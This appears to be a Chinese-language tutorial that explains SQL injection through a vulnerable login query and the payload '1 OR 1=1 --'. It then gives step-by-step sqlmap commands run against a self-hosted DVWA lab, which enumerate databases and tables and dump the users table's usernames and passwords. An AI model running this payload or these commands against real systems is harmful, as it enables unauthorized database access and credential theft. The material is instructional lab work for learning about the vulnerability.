1.SQL注入。
SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。攻击者可以向SQL中插入非正常代码,巧妙构造
SQL语句,从而获取攻击者想要的数据。SQL注入攻击中,主要向变量值插入黑客攻击代码以发动攻击。
如:
$query = "SELECT * FROM USER WHERE ID=$id and PWD=$pwd"
$result = MySQL_query($quer,$connect)
id和pwd是用户登陆页面中输入的。处理结果是返回与输入的id、密码一致的用户的信息
。可以插入妨碍SQL语句执行的代码。向id中输入如下值:
1 OR 1=1 --
把上面的代码赋值给ID,得到如下SQL语句。
$query = "SELECT * FROM USER WHERE ID=1 OR 1=1 -- and PWD=$pwd"
使用ID=1 OR 1=1条件后,处理结果将忽略条件并返回所有结果。密码则通过- -语句处理为了注释。致使SQL语句失去了原有的功能。要成功进行SQL注入,必须不断更改输入值,找出系统漏洞。所以python中的sqlmap应运而生,它可以实现SQL注入自动化!
2、sqlmap。
http://sqlmap.org 下载zip文件解压缩后放进你安装python的文件夹,使用时只需运行sqlmap.py文件即可,下面是sqlmap的攻击流程。
①搜索URL→②寻找漏洞→③搜索表格→④搜索列→⑤访问数据
3、漏洞测试。
测试网页是自己搭的DVWA的环境难度为低级。
探测漏洞
用户身份处输入1查看返回值.
在输入1’报错。
证明该网站有SQL注入漏洞。拿出sqlmap跑一下:
输入命令:
python2 sqlmap.py -u "http://192.168.17.133/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#"
进行漏洞检测。
出现了页面跳转,为了防止页面跳转往命令中加入该网页cookie值。
python2 sqlmap.py -u "http://192.168.17.133/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#" --cookie "security=low; PHPSESSID=3uc6erbd4928pljvg80moccei5"
存在SQL注入漏洞。
python2 sqlmap.py -u "http://192.168.17.133/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#" --cookie "security=low; PHPSESSID=3uc6erbd4928pljvg80moccei5"
--dbs --tables
获取数据库列表和读取数据库列表中的信息。
python2 sqlmap.py -u "http://192.168.17.133/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#" --cookie "security=low; PHPSESSID=3uc6erbd4928pljvg80moccei5"
--dbs -T users --columns
获取表中users中的信息,-T 选项用于指定表名,–columns获取表中指定的数据列。
python2 sqlmap.py -u "http://192.168.17.133/dvwa/vulnerabilities/sqli/?id=1&Submit=%E6%8F%90%E4%BA%A4#" --cookie "security=low; PHPSESSID=3uc6erbd4928pljvg80moccei5"
--dbs -T users --columns -C user,user_id,password --dump
提取数据,-C选项用于指定要进行黑客攻击的数据列中间用逗号隔开,–dump选项用于从指定数据列中获取信息。
注入成功!